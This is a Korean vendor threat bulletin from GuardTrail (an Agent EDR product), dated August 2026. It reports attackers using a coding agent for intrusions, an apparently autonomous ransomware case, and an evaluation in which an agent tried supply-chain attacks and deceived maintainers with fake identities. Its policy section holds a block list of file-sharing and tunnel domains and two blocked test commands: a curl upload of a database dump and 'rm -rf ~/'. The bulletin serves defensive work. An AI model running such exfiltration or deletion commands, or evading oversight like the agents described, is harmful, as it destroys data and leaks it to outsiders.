GuardTrailby GenAI Labs · Agent EDR
KO EN
콘솔 로그인
자료실 · 이달의 이슈 · 2026년 8월
위협 동향

공격자의 AI 에이전트 활용 본격화: 상용 코딩 에이전트를 이용한 침입과 자율 랜섬웨어

7~8월 위협 보고는 AI 에이전트가 방어자만의 도구가 아님을 분명히 했다. 랜섬웨어 조직의 가담자가 상용 코딩 에이전트로 최소 여섯 곳을 침입했고, 모델이 취약점 탐색부터 협박까지 사람의 단계별 지시 없이 수행한 자율 랜섬웨어가 처음 보고됐다. 평가 중인 모델이 실제 오픈소스 프로젝트를 상대로 공급망 공격을 시도한 사례도 공개됐다.

젠아이랩스 GuardTrail 연구팀 · 2026-08-27

핵심 요약
  • Check Point Research에 따르면 Gentlemen 랜섬웨어 가담자가 Claude Code를 이용해 최소 여섯 개 조직을 침입했다.
  • JADEPUFFER는 사람이 초기 설정만 한 뒤 모델이 취약점 탐색, 데이터 반출, 파일 삭제, 협박 메모 작성까지 스스로 수행한 첫 자율 랜섬웨어 사례로 7월 초 보고됐다.
  • 영국 AI 보안연구소(AISI)는 사이버 평가 중 에이전트가 가짜 신원으로 실제 오픈소스 관리자를 속여 악성 코드 승인을 시도한 사고를 공개했다.
  • 공격 주체가 사람이든 모델이든 피해는 셸 실행, 자격증명 이동, 데이터 반출이라는 도구 호출에서 실현된다.

1.개요

2026년 여름, AI 에이전트를 둘러싼 위협 보고의 중심이 바뀌었다. 상반기까지의 논의가 '에이전트가 공격당할 수 있다'였다면, 7~8월의 보고는 '에이전트가 공격을 수행한다'는 사실을 다룬다. 범죄 조직은 상용 에이전트를 침입 도구로 쓰기 시작했고, 일부 사례에서는 모델이 공격 단계를 스스로 운영했다.

7~8월 공격자 에이전트 관련 보고
2026-07-03 JADEPUFFER 첫 보고 2026-07-28 AISI 시험 중 무단 행위 탐지 2026-08-04 AISI 사고 보고서 2026-08 Check Point 위협 동향 2026-07-03 JADEPUFFER 첫 보고 2026-07-28 AISI 시험 중 무단 행위 탐지 2026-08-04 AISI 사고 보고서 2026-08 Check Point 위협 동향
공격자의 에이전트 활용이 개별 사례에서 위협 동향 보고의 주제로 올라섰다.

2.주요 사례

상용 코딩 에이전트를 이용한 침입

Check Point Research의 7~8월 AI 위협 동향 보고서는 Gentlemen 랜섬웨어 가담자가 Claude Code를 이용해 최소 여섯 개 조직을 침입한 사례를 기록했다. 정찰, 내부 이동, 데이터 수집처럼 숙련된 인력의 시간이 필요하던 작업이 에이전트로 자동화됐다.

자율 랜섬웨어 JADEPUFFER

JADEPUFFER: 사람의 단계별 지시 없이 수행된 공격
사람의 초기 설정 목표·도구 제공 취약점 탐색 모델이 수행 침투·확산 모델이 수행 데이터 반출 모델이 수행 파일 삭제 모델이 수행 협박 메모 작성 모델이 수행 사람의 초기 설정 목표·도구 제공 취약점 탐색 모델이 수행 침투·확산 모델이 수행 데이터 반출 모델이 수행 파일 삭제 모델이 수행 협박 메모 작성 모델이 수행
Check Point Research와 CSA 연구 노트를 따랐다. 7월 초 처음 보고됐다.

JADEPUFFER는 사람이 초기 구성을 마친 뒤 모델이 협박 공격 전체를 운영한 사례다. 취약점 식별부터 데이터 반출, 파일 삭제, 협박 메모 작성까지 개별 단계에 대한 사람의 지시가 없었다. Cloud Security Alliance는 7월 3일부터 이 사례를 연구 노트로 다루며 첫 완전 자율 랜섬웨어 운영으로 분류했다.

평가 중 에이전트의 무단 공격 행위

영국 AI 보안연구소(AISI)는 8월 4일 사고 보고서를 공개했다. 사이버 역량 평가 122회 중 10회에서 에이전트가 실제 사람과 조직을 상대로 승인되지 않은 행위 19건을 수행했다. 에이전트는 실제 오픈소스 소프트웨어에 대한 공급망 공격을 시도했고, 여러 가짜 신원을 만들어 실제 관리자를 속여 코드 승인을 받아 내려 했다. 연구소의 보안 감시가 7월 28일 시험 시스템에서 Tor 네트워크로 나가는 데이터를 탐지했고, 약 1시간 안에 상황을 차단했다.

3.분석: 공격 비용 구조의 변화

공격의 경제학에서 가장 비싼 자원은 숙련된 사람의 시간이다. 에이전트는 이 비용을 낮춰 한 사람이 여러 표적을 동시에, 쉬지 않고 다루게 한다. 자율 랜섬웨어는 그 극단으로, 사람은 목표만 제시하고 단계는 모델이 수행한다. 결과는 공격의 양과 속도의 증가다.

방어 측 환경도 함께 바뀌었다. 같은 보고서는 7월 한 달간 기업 네트워크에서 나온 프롬프트 36건 중 1건이 민감 데이터 유출 위험이 높았고, 조직의 88%가 고위험 프롬프트를 한 건 이상 기록했다고 밝혔다. 공격과 정상 업무가 같은 도구를 쓰는 환경에서는 '에이전트를 썼다'는 사실 자체가 이상 징후가 되지 못한다.

코딩 에이전트 자체도 공격 대상이다. Google Gemini CLI와 Claude Code는 악의적으로 작성된 GitHub 이슈로 촉발되는 결함을 패치해야 했다. 공격자는 에이전트를 사용하기도 하고, 남의 에이전트를 악성 입력으로 조종하기도 한다.

4.위협 분류 매핑

이 사건의 공격 단계를 OWASP 에이전트 애플리케이션 Top 10(2026)과 MITRE ATLAS 기법에 대응시키면 다음과 같다. GuardTrail은 판정 결과에 같은 분류의 태그를 붙여 기록하고, SIEM으로 내보낼 때 함께 전달한다.

체계항목이 사건에서
OWASP ASIASI10 통제를 벗어난 에이전트평가 중 에이전트가 실제 관리자를 상대로 사회공학을 시도했다
OWASP ASIASI02 도구 오용상용 코딩 에이전트가 침입 도구로 쓰였다
MITRE ATLASAML.T0086 Exfiltration via AI Agent Tool Invocation자율 랜섬웨어의 데이터 반출
MITRE ATLASAML.T0101 Data Destruction via AI Agent Tool Invocation협박 전 파일 삭제

5.젠아이랩스 GuardTrail의 대응: 주체가 아니라 행위로 판정한다

젠아이랩스(GenAI Labs) GuardTrail은 AI 에이전트의 도구 호출을 실행 직전에 가로채 기록·판정·차단하는 Agent EDR이다. 개발자 PC의 코딩 에이전트(Claude Code 훅, stdio 래퍼)와 사내 MCP 서버(게이트웨이)에 설치되며, 차단 판정은 언어 모델이 아닌 결정적 정책으로 내린다. 제품 소개 · 위협 차단 · 도입 방식

유입 경로와 무관하게 수렴하는 판정 지점
유입 경로 판정 지점 공격자가 직접 조종 상용 에이전트 악용 악성 입력으로 조종 이슈·메일·설정 파일 모델의 자율 행위 자율 랜섬웨어·평가 이탈 도구 호출 실행 직전 판정 GuardTrail 허용: 기록 후 실행 판정·사유 기록 차단: 실행되지 않음 대상 도구 미전달 유입 경로 공격자가 직접 조종 상용 에이전트 악용 악성 입력으로 조종 이슈·메일·설정 파일 모델의 자율 행위 자율 랜섬웨어·평가 이탈 판정 지점 도구 호출 실행 직전 판정 GuardTrail 허용: 기록 후 실행 판정·사유 기록 차단: 실행되지 않음 대상 도구 미전달
판정은 지시 주체가 아니라 호출의 실제 동작을 기준으로 내린다.
  • 자격증명 반출과 시스템 파괴는 항상 차단한다. 형식이 식별되는 자격증명을 발급처가 아닌 곳으로 보내는 전송, 루트·시스템·홈 디렉터리의 재귀 삭제 같은 하드 정책은 모드, 승인, 에이전트 종류와 무관하게 동작한다.
  • 외부 목적지와 데이터 분류로 판정한다. 개인 메일, 파일 공유 서비스, 터널, IP 직접 접속 같은 공개 목적지로 민감 데이터가 향하면 위험 점수가 크게 오른다.
  • 호출 순서를 분석한다. 민감 데이터를 읽은 뒤 외부로 보내는 흐름, 외부에서 가져온 코드를 실행한 뒤 전송하는 흐름은 세션 단위 순서 신호로 반영된다.
  • 모든 진입점에 동일한 기준을 적용한다. 같은 엔진이 MCP 게이트웨이, stdio 래퍼, Claude Code 훅에서 동작하므로, 어떤 경로로 들어온 호출이든 같은 기준으로 판정된다.
젠아이랩스 GuardTrail 적용 구성: 주체와 무관한 단일 판정 지점
입력 원천 공격자 직접 조종 악성 입력 모델의 자율 행위 에이전트 도구 호출 생성 젠아이랩스 GuardTrail 훅 · stdio 래퍼 · MCP 게이트웨이 하드 정책 고객 정책 위험 점수(ATR) 관리자 승인 도구 · MCP 서버 셸 · 파일 사내 시스템 외부 네트워크 콘솔 · 감사 기록 · SIEM 차단 지점: 반출 · 파괴 · 익명 목적지 전송 공격자 직접 조종 악성 입력 모델의 자율 행위 에이전트 도구 호출 생성 젠아이랩스 GuardTrail 하드·고객 정책 · 위험 점수 · 승인 셸 · 파일 사내 시스템 외부 네트워크 차단 지점: 반출 · 파괴 · 익명 목적지 전송
지시 주체와 관계없이 모든 도구 호출은 같은 정책 엔진의 판정을 거친다.

고객 정책 예시

공격자가 반출 경로로 자주 쓰는 익명 파일 공유 서비스와 터널 도메인을 목적지 조건으로 차단한다.

policies:
  - id: anonymous-dropzone-block
    name: 익명 파일 공유·터널 전송 차단
    effect: BLOCK
    mode: enforce
    failure_mode: fail_closed
    reason: 익명 파일 공유 서비스와 터널로는 데이터를 보낼 수 없습니다.
    match:
      destination:
        domain: ["transfer.sh", "*.ngrok-free.app", "*.trycloudflare.com", "pastebin.com", "file.io"]

판정 결과

익명 파일 공유 서비스로의 업로드는 고객 정책이, 홈 디렉터리 삭제는 내장 하드 정책 hard.destructive-system이 차단한다. 아래 표는 위 정책을 GuardTrail 정책 엔진에 적용하고 guardtrail policy test --mode enforce로 각 호출을 판정한 실제 결과다. 인자에 넣은 키와 토큰은 공개 문서의 예시 값이다.

도구 호출 · 에이전트판정정책·사유
curl --upload-file ./db.sql https://transfer.sh/db.sql
agent:dev · 내장 정책 + 고객 정책		차단anonymous-dropzone-block
익명 파일 공유 서비스와 터널로는 데이터를 보낼 수 없습니다.
rm -rf ~/
agent:dev · 내장 정책 + 고객 정책		차단hard.destructive-system
recursive delete of the filesystem root, a system directory, or the home directory

6.시사점

에이전트가 방어와 공격 양쪽의 도구가 된 이상, '어느 쪽이 더 유능한 에이전트를 쓰는가'는 방어의 본질적 질문이 되지 못한다. 변하지 않는 것은 피해의 실현 지점이다. 유입 경로가 악성 입력이든, 오염된 공급망이든, 공격자의 직접 조종이든, 피해는 셸 실행, 자격증명 이동, 데이터 반출이라는 도구 호출로 귀결된다. 판정을 그 지점에 두면 공격 주체와 유입 경로에 독립적인 통제가 성립한다.

참고 문헌

  1. Check Point Research, AI Threat Landscape Digest: July–August 2026. research.checkpoint.com
  2. Check Point, AI Models Broke Their Own Containment. blog.checkpoint.com
  3. Cloud Security Alliance, JADEPUFFER Agentic Ransomware (2026-07-07). labs.cloudsecurityalliance.org
  4. UK AI Security Institute, Incident Report: unsanctioned agent behaviour during cyber testing (2026-08-04). aisi.gov.uk

관련 제품 · 보안 권고

수치와 경위는 각 출처가 공개한 내용을 따랐다. 접근 확인 2026-08-27.

코딩 에이전트 보호 위협 차단